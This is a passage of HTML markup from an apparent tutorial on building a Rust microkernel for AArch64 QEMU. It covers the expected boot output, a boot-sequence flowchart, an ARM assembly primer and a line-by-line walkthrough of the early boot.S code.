    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;figure id=&#34;expected-output&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: aarch64 QEMU virt boot OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: IPC + cooperative scheduling demo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: kernel online
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: microkernel step 1 (IPC + cooperative scheduling)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sched: starting
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/ping: poll
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/ping: sent ping
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/pong: got ping
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/ping: got pong&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Expected serial output&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure id=&#34;fig1&#34;&gt;
&lt;img src=&#34;images/demo-ipc.png&#34; alt=&#34;Part 1 boot output: the kernel prints to serial, proving our boot assembly, UART driver, and platform abstraction all work&#34; title=&#34;Part 1 boot output: the kernel prints to serial, proving our boot assembly, UART driver, and platform abstraction all work&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 1:&lt;/strong&gt; Boot output showing the kernel printing to serial, proving our boot assembly, UART driver, and platform abstraction all work.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If you see that, everything&amp;rsquo;s working. Press &lt;code&gt;Ctrl-A&lt;/code&gt; then &lt;code&gt;X&lt;/code&gt; to exit QEMU.&lt;/p&gt;
&lt;p&gt;If you don&amp;rsquo;t pass a feature flag, the default build uses &lt;code&gt;demo-memory&lt;/code&gt; (which we&amp;rsquo;ll cover in Part 4). The &lt;code&gt;demo-ipc&lt;/code&gt; flag gives us the cooperative scheduling output shown above.&lt;/p&gt;
&lt;h2 id=&#34;6-the-boot-sequence&#34;&gt;6. The boot sequence&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s what happens from the moment QEMU starts to the moment you see &amp;ldquo;boot OK&amp;rdquo; on your terminal:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;boot-flow&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;flowchart TD
    A[QEMU loads ELF to 0x40080000] --&amp;gt; B[CPU starts at _start, running at EL2]
    B --&amp;gt; C[Set stack pointer]
    C --&amp;gt; D[Zero BSS section]
    D --&amp;gt; E{Current exception level?}
    E --&amp;gt;|EL2| F[Set EL1 stack pointer]
    F --&amp;gt; G[Configure SPSR_EL2 for EL1h return]
    G --&amp;gt; H[Set ELR_EL2 to el1_start]
    H --&amp;gt; I[Disable FP/ASIMD trapping at EL2]
    I --&amp;gt; J[eret: drop to EL1]
    J --&amp;gt; K[el1_start]
    E --&amp;gt;|EL1| K
    K --&amp;gt; L[Install exception vector table]
    L --&amp;gt; M[Enable FP/ASIMD at EL1]
    M --&amp;gt; N[&amp;#34;bl rust_main&amp;#34;]
    N --&amp;gt; O[Initialize PL011 UART]
    O --&amp;gt; P[&amp;#34;Print: boot OK&amp;#34;]
    P --&amp;gt; Q[Call kernel::kmain]

    style B fill:#f9f,stroke:#333
    style J fill:#ff9,stroke:#333
    style Q fill:#9f9,stroke:#333&lt;/pre&gt;
    &lt;figcaption&gt;AArch64 virt boot sequence&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;That&amp;rsquo;s a lot of steps. Let&amp;rsquo;s walk through these; however, first, you need to be able to read the assembly.&lt;/p&gt;
&lt;h2 id=&#34;7-arm-assembly-primer&#34;&gt;7. ARM assembly primer&lt;/h2&gt;
&lt;p&gt;If you&amp;rsquo;ve never read assembly before, the key is that we need to understand only a handful of concepts to follow the boot code. And as with most things in life, once you get the hang of it, assembly is surprisingly readable. The thing though is that everything is just very, very explicit about what it&amp;rsquo;s doing.&lt;/p&gt;
&lt;h3 id=&#34;71-registers&#34;&gt;7.1 Registers&lt;/h3&gt;
&lt;p&gt;ARM gives you 31 general-purpose 64-bit registers, named &lt;code&gt;x0&lt;/code&gt; through &lt;code&gt;x30&lt;/code&gt;. Think of them as 31 local variables that live inside the CPU itself, way faster than RAM. A register access takes maybe one clock cycle. A RAM access? Hundreds.&lt;/p&gt;
&lt;p&gt;Some registers have conventional roles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x0&lt;/code&gt; through &lt;code&gt;x7&lt;/code&gt;&lt;/strong&gt;: Function arguments and return values&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x29&lt;/code&gt;&lt;/strong&gt;: Frame pointer (like &lt;code&gt;rbp&lt;/code&gt; on x86)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x30&lt;/code&gt;&lt;/strong&gt;: Link register, holds the return address after a &lt;code&gt;bl&lt;/code&gt; (branch-with-link) call&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sp&lt;/code&gt;&lt;/strong&gt;: Stack pointer, tracks the top of the call stack&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;xzr&lt;/code&gt;&lt;/strong&gt;: The zero register. Always reads as zero, discards writes. Surprisingly useful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You&amp;rsquo;ll also see &lt;code&gt;w0&lt;/code&gt; through &lt;code&gt;w30&lt;/code&gt;. These are the lower 32 bits of the corresponding &lt;code&gt;x&lt;/code&gt; register. &lt;code&gt;w0&lt;/code&gt; is the bottom half of &lt;code&gt;x0&lt;/code&gt;. ARM uses these when working with 32-bit values.&lt;/p&gt;
&lt;h3 id=&#34;72-system-registers&#34;&gt;7.2 System registers&lt;/h3&gt;
&lt;p&gt;Beyond the general-purpose registers, ARM has a separate world of &lt;strong&gt;system registers&lt;/strong&gt; that control CPU behavior. You can&amp;rsquo;t use them in normal instructions like &lt;code&gt;add&lt;/code&gt; or &lt;code&gt;sub&lt;/code&gt;. You access them with special instructions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;mrs x0, CurrentEL&lt;/code&gt;&lt;/strong&gt;: Move from system register to general-purpose register. Read the current exception level into &lt;code&gt;x0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;msr spsr_el2, x0&lt;/code&gt;&lt;/strong&gt;: Move from general-purpose register to system register. Write &lt;code&gt;x0&lt;/code&gt; into the saved program status register for EL2.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are the knobs and dials that configure how the CPU works - what exception level we&amp;rsquo;re at, whether floating-point is enabled, where the exception vector table lives, and what happens on an &lt;code&gt;eret&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;73-common-instructions&#34;&gt;7.3 Common instructions&lt;/h3&gt;
&lt;p&gt;Here&amp;rsquo;s what you&amp;rsquo;ll see in the boot code:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Instruction&lt;/th&gt;
          &lt;th&gt;What it does&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;ldr x0, =label&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Load the address of &lt;code&gt;label&lt;/code&gt; into &lt;code&gt;x0&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;mov sp, x0&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Copy &lt;code&gt;x0&lt;/code&gt; into the stack pointer&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;str xzr, [x1], #8&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Store zero to the address in &lt;code&gt;x1&lt;/code&gt;, then add 8 to &lt;code&gt;x1&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;cmp x1, x2&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Compare &lt;code&gt;x1&lt;/code&gt; and &lt;code&gt;x2&lt;/code&gt; (sets condition flags)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;b.ge 2f&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Branch forward to label &lt;code&gt;2:&lt;/code&gt; if the comparison was greater-than-or-equal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;b.ne label&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Branch to &lt;code&gt;label&lt;/code&gt; if not equal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;bl rust_main&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Branch with link: save return address in &lt;code&gt;x30&lt;/code&gt;, jump to &lt;code&gt;rust_main&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;bic x0, x0, #(1 &amp;lt;&amp;lt; 10)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Bit clear: clear bit 10 in &lt;code&gt;x0&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;orr x0, x0, #(3 &amp;lt;&amp;lt; 20)&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Bitwise OR: set bits 20 and 21 in &lt;code&gt;x0&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;lsr x1, x1, #2&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Logical shift right by 2 bits&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;and x1, x1, #3&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Bitwise AND with 3 (keep only bits 0 and 1)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;adr x0, label&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Load the PC-relative address of &lt;code&gt;label&lt;/code&gt; into &lt;code&gt;x0&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;isb&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Instruction synchronization barrier (flush pipeline)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;eret&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Exception return (drop to lower exception level)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;wfe&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Wait for event (low-power sleep)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;74-local-labels-and-directives&#34;&gt;7.4 Local labels and directives&lt;/h3&gt;
&lt;p&gt;Assembly uses numbered local labels like &lt;code&gt;1:&lt;/code&gt;, &lt;code&gt;2:&lt;/code&gt;, &lt;code&gt;3:&lt;/code&gt;. You reference them with a direction suffix: &lt;code&gt;1b&lt;/code&gt; means &amp;ldquo;search backward for label &lt;code&gt;1:&lt;/code&gt;&amp;rdquo; and &lt;code&gt;2f&lt;/code&gt; means &amp;ldquo;search forward for label &lt;code&gt;2:&lt;/code&gt;.&amp;rdquo; This avoids name collisions when the same pattern (like a loop) appears multiple times in the same file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.section .text.boot&lt;/code&gt; tells the assembler: &amp;ldquo;put the following code into a section named &lt;code&gt;.text.boot&lt;/code&gt;.&amp;rdquo; The linker script (which we&amp;rsquo;ll cover later) uses this name to ensure our boot code lands at the very start of the binary, exactly where the CPU expects it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.global _start&lt;/code&gt; makes the &lt;code&gt;_start&lt;/code&gt; symbol visible to the linker so that it can be used as the entry point.&lt;/p&gt;
&lt;h2 id=&#34;8-walking-through-boots&#34;&gt;8. Walking through boot.S&lt;/h2&gt;
&lt;p&gt;This is the heart of the post. Let&amp;rsquo;s go through the actual boot assembly line by line.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the file: &lt;code&gt;crates/arch_aarch64_virt/src/boot.S&lt;/code&gt;. We&amp;rsquo;re showing the boot sequence portion (the first 60 lines) - you can see the full code from the repository.&lt;/p&gt;
&lt;figure id=&#34;boot-asm&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;.section&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;.text.boot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;.global&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;_start:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Set stack
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__stack_top&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mov&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;sp&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Zero BSS: [__bss_start, __bss_end)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__bss_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x2&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__bss_end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;1:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;cmp&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b.ge&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;f&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;str&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;xzr&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;], &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;2:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// If we entered at EL2 (typical for QEMU virt), drop to EL1 so the kernel runs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// in a simpler environment (EL1 + GICv2 + CNTP timer).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;CurrentEL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;lsr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;cmp&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b.ne&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;el1_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Set up an EL1 stack pointer.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__stack_top&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;sp_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Configure EL2 to return to EL1h.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mov&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(0b0101)         // EL1h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;spsr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;adr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;el1_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;elr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Enable FP/ASIMD access at EL1 and ensure EL2 doesn&amp;#39;t trap it.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;cptr_el2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;bic&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(1 &amp;lt;&amp;lt; 10)    // TFP = 0 (don&amp;#39;t trap FP/ASIMD)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;cptr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;eret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;el1_start:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Install a minimal exception vector table for the *current* exception level.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// QEMU `virt` typically enters at EL2, so we must set VBAR_EL2 (not just VBAR_EL1).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;adr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;vectors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;vbar_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Enable FP/ASIMD for Rust/LLVM.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Rust/LLVM may use NEON registers for struct copies/memcpy even in early bring-up.
